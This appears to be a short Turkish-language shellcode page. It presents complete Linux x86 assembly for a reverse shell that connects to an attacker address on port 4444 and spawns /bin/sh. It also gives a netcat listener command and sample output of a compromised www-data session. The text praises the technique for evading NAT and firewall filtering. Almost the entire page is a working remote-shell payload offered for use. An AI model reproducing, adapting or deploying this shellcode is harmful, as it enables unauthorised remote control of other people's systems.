Klasik Shellcode - Linux x86 - 68 Bytes
Reverse shell, hedef sistemden saldirgana dogru baglanti baslatir. NAT ve firewall kisitlamalarini asmasini saglar - cikis trafigi genellikle daha az filtrelenir.
Assembly
; socket(AF_INET, SOCK_STREAM, 0)
xor eax, eax
xor ebx, ebx
mov al, 0x66 ; socketcall
mov bl, 0x1 ; SYS_SOCKET
push eax
push 0x1
push 0x2
mov ecx, esp
int 0x80
; connect(sockfd, attacker:4444)
mov esi, eax
push 0x3201a8c0 ; 192.168.1.50 LE
push word 0x5c11 ; port 4444
push word 0x2 ; AF_INET
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
mov bl, 0x3 ; SYS_CONNECT
mov al, 0x66
int 0x80
; dup2 stdin stdout stderr
xor ecx, ecx
dup2_loop:
mov al, 0x3f
int 0x80
inc ecx
cmp cl, 3
jne dup2_loop
; execve /bin//sh
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
Dinleyici
nc -lvnp 4444
Connection received: 192.168.1.100
$ id
uid=33(www-data)